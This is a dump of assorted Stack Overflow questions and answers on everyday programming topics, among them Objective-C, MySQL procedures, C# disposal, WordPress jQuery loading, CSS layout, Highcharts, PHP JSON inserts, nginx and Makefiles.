257689	0	 <p>Note that if you're creating a object that can be mutated after creation, the hash value must <em>not change</em> if the object is inserted into a collection. Practically speaking, this means that the hash value must be fixed from the point of the initial object creation. See <a href="http://developer.apple.com/documentation/Cocoa/Reference/Foundation/Protocols/NSObject_Protocol/Reference/NSObject.html#//apple_ref/doc/uid/20000052-BBCGFFCH" rel="nofollow noreferrer">Apple's documentation on the NSObject protocol's -hash method</a> for more information:</p> <blockquote> <p>If a mutable object is added to a collection that uses hash values to determine the object’s position in the collection, the value returned by the hash method of the object must not change while the object is in the collection. Therefore, either the hash method must not rely on any of the object’s internal state information or you must make sure the object’s internal state information does not change while the object is in the collection. Thus, for example, a mutable dictionary can be put in a hash table but you must not change it while it is in there. (Note that it can be difficult to know whether or not a given object is in a collection.)</p> </blockquote> <p>This sounds like complete whackery to me since it potentially effectively renders hash lookups far less efficient, but I suppose it's better to err on the side of caution and follow what the documentation says.</p>
9327611	0	 <p>IMO the best choice for color selection is using system pickers like <code>NSColorWell</code> or (on toolbar) <code>NSToolbarItem</code> with identfier = <code>NSToolbarShowColorsItemIdentfier</code></p>
34505799	0	how to pass dynamic table name into mySQL Procedure with this query? <p>I have create procedure and when i pass table name manually then its working fine, but when i pass dynamic table name then it says <strong>dbname.tblname doesn't exist</strong>. </p> <pre><code>DELIMITER $$ CREATE PROCEDURE `lmsonline`.`delProc`(tblName VARCHAR(20),sr INT) BEGIN DELETE FROM tblName WHERE srno=sr; SET @num := 0; UPDATE tblName SET srno = @num := (@num+1); ALTER TABLE tblName AUTO_INCREMENT = 1; END$$ DELIMITER ; </code></pre> <p>and to execute i have <code>CALL delProc('beginner',6);</code></p>
11775989	0	ARC Semantic Issue with simple protocol example? <p>I have just been trying something out with a quick test and I have a question, in the following code:</p> <pre><code>@protocol stuffieProtocol &lt;NSObject&gt; @required -(void)favouiteBiscuit; @end </code></pre> <p>.</p> <pre><code>// DOG &amp; TED ARE IDENTICAL, THEY JUST LIKE DIFFERENT BISCUITS @interface Dog : NSObject &lt;stuffieProtocol&gt; @property (strong, nonatomic) NSString *name; @end @implementation Dog - (id)init { return [self initWithName:@"Unknown"]; } - (id)initWithName:(NSString *)name { self = [super init]; if(self) { _name = name; } return self; } - (void)whoAreYou { NSLog(@"MY NAME IS: %@ I AM A: %@", [self name], [self class]); } - (void)favouiteBiscuit { NSLog(@"FAVOURITE BISCUIT IS: Costa Jam Biscuit"); } @end </code></pre> <p>.</p> <pre><code>Dog *stuffie_001 = [[Dog alloc] initWithName:@"Dog Armstrong"]; Ted *stuffie_002 = [[Ted alloc] initWithName:@"Teddy Sullivan"]; NSArray *stuffieArray = @[stuffie_001, stuffie_002]; for(id&lt;stuffieProtocol&gt; eachObject in stuffieArray) { [eachObject whoAreYou]; // &lt;&lt; ERROR [eachObject favouiteBiscuit]; } </code></pre> <p>My question is I am getting an error <code>"ARC Semantic Issue: No known instance method for selector 'whoAreYou'"</code> </p> <p>If I prefix <code>[eachObject whoAreYou];</code> with <code>[(Dog *)eachObject whoAreYou];</code> then this works for all the iterations of the loop, but that just feels wrong as the all the objects in the array are not of type <code>Dog</code>.</p> <p>What should I be prefixing this with to be correct?</p>
24956560	0	 <p>Use a <code>using</code> block instead.</p> <pre><code>using (var c = new Connection()) using (var u = new UsesConnection(c)) { // Do your work here } </code></pre> <p>But don't <code>return</code> as that will dispose both objects. Don't let <code>UsesConnection</code> to dispose <code>Connection</code>.</p> <p>You should be in charge of maintaining the life-cycles of your disposable references, not some caller - ask yourself "what if they never dispose of my object?"</p>
39861995	0	 <p>You first add the data to the $vendor_data array and then apply it using the following:</p> <pre><code>//Add the data to the array $vendor_data['paypal'] = $email; $vendor_data['profile'] = $description; //Update the term meta with the above values. update_term_meta($return['term_id'], 'vendor_data', $vendor_data); </code></pre>
22793589	0	 <p>I'm writing a Google Glass Development book for Apress and just finished the chapter Network and Bluetooth, with some working samples to let Glass communicate with iPhone for data transfer. You're right that Glass as of now (API level 15) doesn't support Bluetooth Low Energy (BLE). I have implemented three ways to make the data transfer between Glass and iOS happen:</p> <ol> <li><p>Let Glass talk to an Android device, such as Nexus 7 with Android 4.3 or above with BLE support, via Classic Bluetooth or socket, and Nexus 7 acts as a BLE central to talk to iOS as a BLE peripheral. Notice you shouldn't use BLE to send large data such as photo.</p></li> <li><p>Let Glass talk to iOS directly via socket - you can use C socket code running as a server and Glass Java socket client, or vice versa. This would require your Glass and iOS device on the same Wifi, but can transfer large data. </p></li> <li><p>Use a server-based solution - upload data from Glass to a server and let iOS get it via Apple Push Notification. I used this method to share photos on Glass with friends on WhatsApp and WeChat, both apps run on iOS.</p></li> </ol> <p>Sample iOS code acting as socket server:</p> <pre><code>- (void) runSocketServer { int listenfd = 0; __block int connfd = 0; struct sockaddr_in serv_addr; __block char sendBuff[1025]; listenfd = socket(AF_INET, SOCK_STREAM, 0); memset(&amp;serv_addr, '0', sizeof(serv_addr)); memset(sendBuff, '0', sizeof(sendBuff)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(6682); bind(listenfd, (struct sockaddr*)&amp;serv_addr, sizeof(serv_addr)); listen(listenfd, 10); dispatch_async(dispatch_get_global_queue(0, 0), ^{ connfd = accept(listenfd, (struct sockaddr*)NULL, NULL); int count = 1; while (count++ &lt; 120) { char rate[100]; sprintf(rate, "%i\n", bpm); write(connfd, rate, strlen(rate)); sleep(1); } close(connfd); }); } </code></pre> <p>Sample Glass code acting as a socket client:</p> <pre><code>public void run() { String serverName = "192.168.1.11"; int port = 6682; try { socket = new Socket(serverName, port); BufferedReader input = new BufferedReader(new InputStreamReader(socket.getInputStream())); do { result = input.readLine(); runOnUiThread(new Runnable() { public void run() { mTvInfo.setText(result); } }); } while (result != null); }); } catch(Exception e) { try { socket.close(); } catch (Exception e2) {}; e.printStackTrace(); } } </code></pre>
38045956	0	 <p>You have to use <strong>floating property</strong> and some <strong>width to counter part</strong>, then it will work. Why don't you use some <strong>calc()</strong> style property value/attribute there?</p> <p><a href="https://jsfiddle.net/9xr8urz1/5/" rel="nofollow"><strong>Check this fiddle here</strong></a></p> <p>HTML for example purpose</p> <pre><code>&lt;ul&gt; &lt;li class="check-label"&gt;But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born&lt;/li&gt; &lt;li class="check-counter"&gt;1&lt;/li&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;/ul&gt; &lt;ul&gt; &lt;li class="check-label"&gt;But I must explain to you how all this mistaken idea of denouncing pleasure and praising pain was born&lt;/li&gt; &lt;li class="check-counter"&gt;2&lt;/li&gt; &lt;div class="clearfix"&gt;&lt;/div&gt; &lt;/ul&gt; </code></pre> <p><strong>Your CSS will be</strong></p> <pre><code>ul{ list-style:none; background:#FFFFFF; width:300px; padding:10px; margin:0px; border-bottom:solid 1px #CCCCCC; } ul li{ margin:0px; } ul li.check-label{ float:left; width:calc(100% - 50px); } ul li.check-counter{ width:50px; float:left; text-align:center; color:red } .clearfix:before, .clearfix:after { content: " "; /* 1 */ display: table; /* 2 */ } .clearfix:after { clear: both; } </code></pre>
11824866	0	mp4 that can be played using Quicktime on PC but not on Mac <p>I have couples of .mp4 files, all of them can be opened and played using QuickTime Player 7.7 installed on PC.</p> <p>But some of them cannot be opened using QuickTime Player 10.1 on Lion.</p> <p>It said "The document xxx.mp4 could not be opened. This media may be damaged." And these unplayable files cannot be played on iPod too.</p> <p>All files are converted in same way in same format. </p> <p>What's wrong? </p>
3474417	0	 <p>Wikipedia has a long <a href="http://en.wikipedia.org/wiki/C%2B%2B0x" rel="nofollow noreferrer">overview</a>. I would hightlight rvalue references and lambdas. </p>
38542153	0	GCE: Both TCP and HTTP load balancers on one IP <p>I'm running a kubernetes application on GKE, which serves HTTP requests on port 80 and websocket on port 8080.</p> <p>Now, HTTP part needs to know client's IP address, so I have to use HTTP load balancer as ingress service. Websocket part then has to use TCP load balancer, as it's clearly stated in docs that HTTP LB doesn't support it.</p> <p>I got them both working, but on different IPs, and I need to have them on one.</p> <p>I would expect that there is something like iptables on GCE, so I could forward traffic from port 80 to HTTP LB, and from 8080 to TCP LB, but I can't find anything like that. Anything including forwarding allows only one them.</p> <p>I guess I could have one instance with nginx/HAproxy doing only this, but that seems like an overkill</p> <p>Appreciate any help!</p>
13027372	0	 <pre><code>public partial class Form1 : Form { TextBox[] tb; public Form1() { InitializeComponent(); tb = new TextBox[2]; //... } private void button1_Click(object sender, EventArgs e) { int a = Convert.ToInt32(tb[0].Text); } } </code></pre>
6115164	0	jQuery UI autocomplete multiple instances after the field was added <p>I am using jQuery UI autocomplete plugin and I am adding new fields to the form dynamically by append() in jQuery. The problem is that i would like to make the newly added field and autocomplete field, so there would be more than 1 autocomplete field, even with same source URL. Any help ?</p> <p>Thanks.</p>
35434488	0	 <p>You can do this with plain old html. Put a DIV around where the link should take you: </p> <pre><code>-# &lt;DIV ID="FT001"&gt;&lt;b&gt;FT001:&lt;/b&gt;&lt;/DIV&gt; I, as -# &lt;DIV ID="FT002"&gt;&lt;b&gt;FT002:&lt;/b&gt;&lt;/DIV&gt; I, as </code></pre> <p>I'm not an HTML expert, but <code>&lt;A NAME="anchor" ...</code> might be better than <code>&lt;DIV ...</code>. </p> <hr> <p>Elsewhere in the same file you can reference it with this.</p> <pre><code>&lt;a href="#FT001"&gt;Link to section elsewhere in this file&lt;/a&gt; </code></pre> <hr> <p>You might want to create an alias in your config file to make this more readable, like either of these:</p> <pre><code>ALAISES += "anchor{2}=&lt;DIV ID=\"\1\"&gt; \2 &lt;DIV&gt; ALAISES += "bookmark{2}=&lt;DIV ID=\"\1\"&gt; \2 &lt;DIV&gt; </code></pre> <hr> <p>You can also reference the link like this.</p> <pre><code>[Link to elsewhere](#FT001) </code></pre>
23974773	0	How can I work around this JRE bug in getNetworkPrefixLength()? <p>There appears to be a known bug in the JRE implementation:</p> <ul> <li><a href="http://bugs.java.com/view_bug.do?bug_id=6707289" rel="nofollow">http://bugs.java.com/view_bug.do?bug_id=6707289</a></li> <li><a href="https://bugs.openjdk.java.net/browse/JDK-7107883" rel="nofollow">https://bugs.openjdk.java.net/browse/JDK-7107883</a></li> </ul> <p>But how can I fix it without updating the JRE/JDK? I need to get broadcast address, and use <code>getBroadcast()</code> for this, but it returns 0.0.0.0 (because <code>getNetworkPrefixLength()</code> returns -1, although the real network mask is 24).</p>
6284656	0	 <p>Try explicitly giving Mongoid the class name</p> <pre><code>class Engine::Blog include Mongoid::Document embeds_many :posts, :class_name =&gt; "Engine::Post" end </code></pre>
35812234	0	 <p>Use library to load images in your application. Like <a href="http://square.github.io/picasso/" rel="nofollow">Picaso</a> or <a href="https://github.com/bumptech/glide" rel="nofollow">Glide</a></p> <p>Also read difference between them <a href="http://inthecheesefactory.com/blog/get-to-know-glide-recommended-by-google/en" rel="nofollow">here</a></p> <p>I hope this will solve your problem.</p>
28301434	0	Dates on xaxis with highcharts <p>I need to have dates on my xaxis on my chart. I collect my data through a range datepicker where the user can enter a range of 14 days. I need the first value on the xaxis to be the start date of the range and the last value to be the end date of the range. i want the the xaxis labels to read something like "27th Jan 2015" , "28th Jan 2015" or something in that direction and each tic to be 1 day. I've read the API-documentation and i've played around alot with the settings of the chart but for some reason i can not get it to work.</p> <pre><code> $('#graphColumn').highcharts({ title: { text: '', x: -20 //center }, xAxis: { categories: [dayArray[0], dayArray[1], dayArray[2], dayArray[3], dayArray[4], dayArray[5], dayArray[6], dayArray[7], dayArray[8], dayArray[9], dayArray[10], dayArray[11], dayArray[12], dayArray[13]] }, yAxis: { title: { text: '' }, plotLines: [{ value: 0, width: 1, color: '#808080' }] }, tooltip: { valueSuffix: '' }, legend: { layout: 'vertical', align: 'right', verticalAlign: 'middle', borderWidth: 0 }, credits: { enabled: false }, series: [{ showInLegend: false, name: ' ', data: series, color: '#77B7C5', marker: { symbol: 'circle' } }, { showInLegend: false, name: '1 år sedan', data: series1yearago, color: "#71C73E", marker: { symbol: 'circle' } }] }); </code></pre> <p>here is my chart. I know the xaxis has categories set now but thats only for the moment, i know it should be datetime. My series are regular int arrays with one number on each index. I would apreciate any help that could be given here!</p> <p>Edit: Here is a working jsfiddle example: <a href="http://jsfiddle.net/g0p00tLv/1" rel="nofollow">http://jsfiddle.net/g0p00tLv/1</a></p>
19971140	0	 <p><code>nginx</code> must be writing that message to standard error, not standard output. If you want to pipe it, you have to redirect stderr to stdout:</p> <pre><code>nginx -v 2&gt;&amp;1 | awk -F/ '{print $2}' </code></pre>
12592513	0	Extracting a list of files and creating a new file containing this list <p>I am a researcher and my skill in Unix commands is limited. I am currently dealing with a folder containing about 1000 files and I have to extract some filenames from this folder and create another file (configuration file) containing these filenames.</p> <p>Basically, the folder has filenames in the following format :</p> <pre><code>1_Apple_A_someword.txt 1_Apple_B_someword.txt 2_Apple_A_someword.txt 2_Apple_B_someword.txt 3_Apple_A_someword.txt 3_Apple_B_someword.txt </code></pre> <p>and so on up until</p> <pre><code>1000_Apple_A_someword.txt 1000_Apple_B_someword.txt </code></pre> <p>I just want to extract out all files which have "Apple_A" in them. Also, I want to create another file which has 'labels' (Unix variables) for each of these "Apple_A" files whose values are the names of the files. Also, the 'labels' are part of the filenames (everything up until the word "Apple") For example,</p> <pre><code>1_Apple=1_Apple_A_someword.txt 2_Apple=2_Apple_A_someword.txt 3_Apple=3_Apple_A_someword.txt </code></pre> <p>and so on...till</p> <pre><code>1000_Apple=1000_Apple_A_someword.txt </code></pre> <p>Could you tell me a one-line Unix command that does this ? Maybe using "awk" and "sed"</p>
13855435	0	Windows Phone Emulator 7.1 doesnt open <p>I successfully installed windows phone SDK 7.1 in my pc but when I tried to open the Windows phone emulator it shows an error says "Windows phone emulator is not supported on this computer bcoz this computer does not have the required graphics processing unit configuration. An XNA framework game or page will not function without a graphics processing unit. A silverlight Application may run, but with reduced functionality"</p> <p>I have OS which is win7 ultimate (32-bit), 1-GB DDR-II ram, Intel Dual Core Processor; I know that it needs 3GB ram but I have seen it in a forum that it can also be installed with 1-GB of ram &amp; I don't think there is a problem of ram here but of graphics. I am a newbie in this stuff but desperately wants to learn to create apps please help! </p>
30814037	0	 <p>Look at the file you give with the <code>excelFormat</code> item I would guess it is due to the following line in it:</p> <pre><code>&lt;Table ss:ExpandedColumnCount="7" ss:ExpandedRowCount="68" x:FullColumns="1" x:FullRows="1" ss:DefaultRowHeight="15"&gt; </code></pre> <p>You can see that it has a mention of an <code>ExpandedRowCount</code> which is set to 68. A quick search for <code>&lt;Row</code> in that same file gives 44 results. If you add your 22 lines this brings you up to 66 which is only 2 short. I'm not quite sure where this goes wrong since there is still a difference of 2, but I'd guess that this is your issue. Try changing the ExpandedRowCount attribute to be something higher and test again (with less than 22 items, exactly 22 items, and more than 22 items). </p>
18505244	0	 <p><code>Answer</code> of @Mangesh Parte can be <strong>short</strong> like,</p> <pre><code>&lt;?php function load_external_jQuery() { wp_deregister_script( 'jquery' ); // deregisters the default WordPress jQuery $url = 'http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js'; // the URL to check against $test_url = @fopen($url,'r'); // test parameters if( $test_url !== false ) { // test if the URL exists if exists then register the external file wp_register_script('jquery', $url); } else{// register the local file wp_register_script('jquery', get_template_directory_uri().'/js/jquery.js', __FILE__, false, '1.7.2', true); } wp_enqueue_script('jquery'); // enqueue the jquery here } add_action('wp_enqueue_scripts', 'load_external_jQuery'); // initiate the function ?&gt; </code></pre>
14226204	0	 <p>The Function SaveAs is defined so : .SaveAs(FileName, FileFormat, Password, WriteResPassword, ReadOnlyRecommended, CreateBackup, AccessMode, ConflictResolution, AddToMru, TextCodepage, TextVisualLayout, Local)</p> <p>Thas is, to use the semicolon (if your regional language option are correctly set) </p> <p>ExcelObj.Workbooks(1).SaveAs csvFile, 6,,,,,,,,,,True</p>
19070016	0	 <p>Sure it is.</p> <p>If you use supported libraries: <a href="http://developer.android.com/tools/support-library/index.html" rel="nofollow">http://developer.android.com/tools/support-library/index.html</a></p> <p>And then create your App out of Fragments - then you can make an App for 2.3.3 with it's own Tablet layout. <a href="http://developer.android.com/guide/components/fragments.html" rel="nofollow">http://developer.android.com/guide/components/fragments.html</a></p>
6682011	0	Passing array of strings from c# to c++ - memory management <p>In my code I have c DLL that accepts array of strings: void Helper::ProcessEvent(PEVENT_RECORD pEvent,wchar_t** OutPutFormattedData)</p> <p>I'm invoking it with this code:</p> <pre><code>[DllImport("Helper.dll", EntryPoint = "ProcessEvent")] internal static extern uint ProcessEvent( [In, Out] ref EVENT_RECORD pEvent, [In, Out] [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.LPStr)] ref string[] pResult); </code></pre> <p>In c++ code here is the main code I'm using to fill the array:</p> <pre><code>for(int i=0;i&lt;list.Size;i++) { EventWrapperClass *EWC = new EventWrapperClass(); EWC = list.Events[i]; OutPutFormattedData[i] = new wchar_t [wcslen(HelperFormatMessage(L"%s: %s\n",EWC-&gt;GetProperyName(),EWC-&gt;GetProperyValue()))+1]; wcscpy(OutPutFormattedData[i] ,HelperFormatMessage(L"%s: %s\n",EWC-&gt;GetProperyName(),EWC-&gt;GetProperyValue())); </code></pre> <p>}</p> <p>And the invoke code:</p> <pre><code>string[] strArr= new string[1]; NativeHelper.ProcessEvent(ref eventRecord, ref strArr); </code></pre> <p>I have two questions:</p> <ol> <li><p>Why when I check the value of the passed array in c# after calling this function I see it's empty (data is exist in c++ code, I debugged it) ?</p></li> <li><p>If I'm allocating memory in c++ dll, where I need to free it? in c++ or c#?</p></li> </ol> <p>Many thanks!</p> <p>Edit:</p> <p>signture of c++:</p> <pre><code>static __declspec(dllexport) void ProcessEvent(PEVENT_RECORD pEvent, wchar_t** OutPutFormattedData); </code></pre>
26101847	0	 <p>Outlook Object Model cannot be used from a service. You can use </p> <ol> <li>Extended MAPI (C++ or Delphi only) </li> <li><a href="http://msdn.microsoft.com/en-us/library/office/dd877045(v=exchg.140).aspx" rel="nofollow">Exchange Web Services</a> if you are dealing with Exchange 2007 (or newer) mailboxes</li> <li><a href="http://www.dimastr.com/redemption/" rel="nofollow">Redemption</a> (its <a href="http://www.dimastr.com/redemption/rdo_introduction.htm" rel="nofollow">RDO family of objects</a> wraps Extended MAPI and can be used from any language).</li> </ol>
29681773	0	Run one jQuery function after another one finishes effect <p>I've written the following two functions:</p> <pre><code>&lt;script&gt; $('.tile').on('click', function () { $(".tile").addClass("flipOutX",1000).promise().done(function () { $(".tile-group.six").load("musability-musictherapy-company-overview.html"); }); }); &lt;/script&gt; </code></pre> <p>The first one performs a transition on some tiles that lasts about 3 seconds, and even though I have included .promise and .done the second function still loads the html page right away instead of waiting for the effect/transition to finish. I was thinking of using a setTimeinterval to make the second function wait until the first one finishes but I don't know how to use that to accomplish my desired behavior.</p> <p>THE WHOLE CSS OF TRANSITIONS ON THE PAGE </p> <pre><code>.animated { -webkit-animation-duration: 1s; animation-duration: 1s; -webkit-animation-fill-mode: both; animation-fill-mode: both; } .animated.infinite { -webkit-animation-iteration-count: infinite; animation-iteration-count: infinite; } .animated.two { -webkit-animation-delay: 120ms; animation-delay: 120ms; } .animated.three { -webkit-animation-delay: 320ms; animation-delay: 320ms; } .animated.four { -webkit-animation-delay: 520ms; animation-delay: 320ms; } .animated.five { -webkit-animation-delay: 720ms; animation-delay: 720ms; } .animated.six { -webkit-animation-delay: 920ms; animation-delay: 920ms; } .animated.seven { -webkit-animation-delay: 1020ms; animation-delay: 1020ms; } .animated.eight { -webkit-animation-delay: 1220ms; animation-delay: 1220ms; } .animated.nine { -webkit-animation-delay: 1620ms; animation-delay: 1620ms; } .animated.ten { -webkit-animation-delay: 1820ms; animation-delay: 1820ms; } .animated.eleven { -webkit-animation-delay: 2020ms; animation-delay: 2020ms; } .animated.twelve { -webkit-animation-delay: 2220ms; animation-delay: 2220ms; } @-webkit-keyframes flipInX { 0% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg); transform: perspective(400px) rotate3d(1, 0, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg); transform: perspective(400px) rotate3d(1, 0, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } @keyframes flipInX { 0% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; opacity: 0; } 40% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); -webkit-transition-timing-function: ease-in; transition-timing-function: ease-in; } 60% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 10deg); transform: perspective(400px) rotate3d(1, 0, 0, 10deg); opacity: 1; } 80% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -5deg); transform: perspective(400px) rotate3d(1, 0, 0, -5deg); } 100% { -webkit-transform: perspective(400px); transform: perspective(400px); } } .flipInX { -webkit-backface-visibility: visible !important; backface-visibility: visible !important; -webkit-animation-name: flipInX; animation-name: flipInX; } /*CSS BIT FOR REVERSING THE ANIMATION ONCLICK EVENT 8*/ @-webkit-keyframes flipOutX { 0% { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); opacity: 0; } } @keyframes flipOutX { 0% { -webkit-transform: perspective(400px); transform: perspective(400px); } 30% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, -20deg); transform: perspective(400px) rotate3d(1, 0, 0, -20deg); opacity: 1; } 100% { -webkit-transform: perspective(400px) rotate3d(1, 0, 0, 90deg); transform: perspective(400px) rotate3d(1, 0, 0, 90deg); opacity: 0; } } .flipOutX { -webkit-animation-name: flipOutX; animation-name: flipOutX; -webkit-backface-visibility: visible !important; backface-visibility: visible !important; } </code></pre>
5303701	0	 <p>They are ASP.NET Expressions.</p> <p>A very common usage is when using a resource file, like so</p> <pre><code>&lt;asp:Label id="label1" runat="server" text="&lt;%$ Resources: Messages, ThankYouLabel %&gt;" /&gt; </code></pre> <p>Read more on them here: <a href="http://msdn.microsoft.com/en-us/library/d5bd1tad.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/d5bd1tad.aspx</a></p>
37387514	0	OpenLayers3 - Animated .fit to a specific extent <p>I have created a map using OpenLayers3. I can succesfully zoom to a layer on the map using the following code: </p> <pre><code>map.getView().fit(extent, map.getSize()); </code></pre> <p>However I woulld like something similiar in an animated way.</p> <p>I know about the following animations:</p> <pre><code>ol.animation.pan ol.animation.zoom </code></pre> <p>By using these I can't zoom to a layer, using ol.animation.pan I can only pan to a point (and not to a boundingbox) and using ol.animation.zoom I can zoom to a resolution (and not to a boundingbox). So what I am looking for is an animated .fit so I can zoom animated to an extent.</p> <p>Any suggestions on how I can achieve that would be appreciated :)</p>
16488658	0	 <p>When it comes to extracting data from an HTML document on the server-side, <a href="http://nodejs.org/" rel="nofollow">Node.js</a> is a fantastic option. I have used it successfully with two modules called <a href="https://github.com/mikeal/request" rel="nofollow">request</a> and <a href="https://github.com/MatthewMueller/cheerio" rel="nofollow">cheerio</a></p> <p>You can see an example how it works <a href="http://procbits.com/2012/04/11/quick-and-dirty-screen-scraping-with-node-js-using-request-and-cheerio" rel="nofollow">here</a></p>
38205189	0	ionic framework/bower install ng-cordova <p>I am working on ionic project to install ng-cordova, I ran this command</p> <blockquote> <p>bower install ngCordova</p> </blockquote> <p>this shows me</p> <blockquote> <p>bower ionic#1.3.1 ENOGIT git not installed or not in the path. </p> </blockquote> <p>Can anybody pls put me through?</p>
21978919	0	How can i insert decoded json data using json string in php mysql database <p>I have this JSON string.</p> <pre><code>{"Challenges":[{"phoneNumber":"1234567809","name":"Test2 Test2"},{"phoneNumber":"1234567890","name":"Test1 Test1"},{"phoneNumber":"8733806964*","name":"Dennish Desouzs"}],"Message":[{"message":"testchallenge1"}],"Level":[{"level_name":"testchallenge1","level_design":"0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000022200000000000080002000000000000000002000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000200000000000000000002000000000000000000220000000000000000002000000000000000000020000060000000000000200000000000000000002000000000000000000000000000000000000000000000000000000","win_time":3,"play_no":1,"top_user_id":"45","no_challenge":0,"user_id":"45","win_no":1}]} </code></pre> <p>code is as below: <pre><code>mysql_select_db("hello") or die('Cannot select Database'); mysql_select_db("hello") or die('Cannot select Database'); $string=$_GET['records']; $arr=json_decode($string); $levelArray=array(); foreach ($arr['Level'] as $key=&gt;$value) { $levelArray[] = $arr-&gt;Level; print_r($levelArray); $j = 0 ; foreach($levelArray as $levelItem) { mysql_query("INSERT INTO level(user_id,level_name,no_challenge,level_design,play_no,win_no,win_time,top_user_id)VALUES('".$levelArray[$j]-&gt;user_id."','".$levelArray[$j]-&gt;level_name.'","'.$levelArray[$j]-&gt;no_challenge.'","'.$levelArray[$j]-&gt;level_design.'","'.$levelArray[$j]-&gt;play_no.'","'.$levelArray[$j]-&gt;win_no.'","'.$levelArray[$j]-&gt;win_time.'","'.$levelArray[$j]-&gt;top_user_id."'"); } } ?&gt; </code></pre> <p>Problem is that I cannot insert data in the database by getting the values and at first I have to get all the data from the above string and then level string have to insert level table and challenge record string array should be insert in challenge table so what I should do to get this above string output?</p>
13417781	0	 <p>In my case I have these messages when I show the sherlock action bar inderterminate progressbar. Since its not my library, I decided to hide the Choreographer outputs.</p> <p>You can hide the Choreographer outputs onto the Logcat view, using this filter expression :</p> <p><strong>tag:^((?!Choreographer).*)$</strong></p> <p>I used a regex explained elsewhere : <a href="http://stackoverflow.com/questions/406230/regular-expression-to-match-string-not-containing-a-word">Regular expression to match string not containing a word?</a></p>
8887146	0	 <p>What is your desired functionality? I assume: shifting which LED is on every 2 seconds, keeping all the other LEDs off? "Sliding LED"...</p> <p>Also, I am assuming your target is an FPGA-type board.</p> <p>There is no free "wait for X time" in the FPGA world. The key to what you are trying to do it counting clock cycles. You need to know the clock frequency of the clock that you are using for this block. Once you know that, then you can calculate how many clock rising edges you need to count before "an action" needs to be taken.</p> <p>I recommend two processes. In one, you will watch rising edge of clock, and run a counter of sufficient size, such that it will roll over once every two seconds. Every time your counter is 0, then you set a "flag" for one clock cycle.</p> <p>The other process will simply watch for the "flag" to occur. When the flag occurs, you shift which LED is turned on, and turn all other LEDs off.</p>
15689640	0	Firewall blocking Android <p>I wrote an application using a lightweight http server in c# called nancyfx. the problem is that i can call the framework from the browser(localhost and from LAN pc) but android (also LAN) gets blocked.</p> <pre><code> String url = "http://192.168.178.35:8080/issue"; HttpClient client = new DefaultHttpClient(); HttpGet get = new HttpGet(url); HttpContext localContext = new BasicHttpContext(); HttpResponse res = client.execute(get, localContext); </code></pre> <p>It gets stuck in the execute method and looks like its waiting for a timeout. Then comes the http exception HttpHostConnectionException: connection refused.</p> <p>If i turn off windows firewall it works. I also added a firewall rule for the program just in case. </p> <p>Are there any special rules for Android devices?</p>
6415176	0	 <p>This is probably what you want. It creates a 'maximized' window without hiding the taskbar.</p> <pre><code>public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void Form1_Load( object sender, EventArgs e ) { FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; Left = Top = 0; Width = Screen.PrimaryScreen.WorkingArea.Width; Height = Screen.PrimaryScreen.WorkingArea.Height; } } </code></pre>
1622186	0	 <p>I propose two solutions. The first mimics what NetBeans IDE generates:</p> <pre><code>CC=gcc .PHONY: all clean all: post-build pre-build: @echo PRE post-build: main-build @echo POST main-build: pre-build @$(MAKE) --no-print-directory target target: $(OBJS) $(CC) -o $@ $(OBJS) clean: rm -f $(OBJS) target </code></pre> <p>The second one is inpired by what Eclipse IDE generates:</p> <pre><code>CC=gcc .PHONY: all clean .SECONDARY: main-build all: pre-build main-build pre-build: @echo PRE post-build: @echo POST main-build: target target: $(OBJS) $(CC) -o $@ $(OBJS) @$(MAKE) --no-print-directory post-build clean: rm -f $(OBJS) target </code></pre> <p>Note that in the first one, pre and post builds are always called regardless of whether the main build is determined to be up to date or not.</p> <p>In the second one, the post-build step is not executed if the state of the main build is up to date. While the pre-build step is always executed in both.</p>
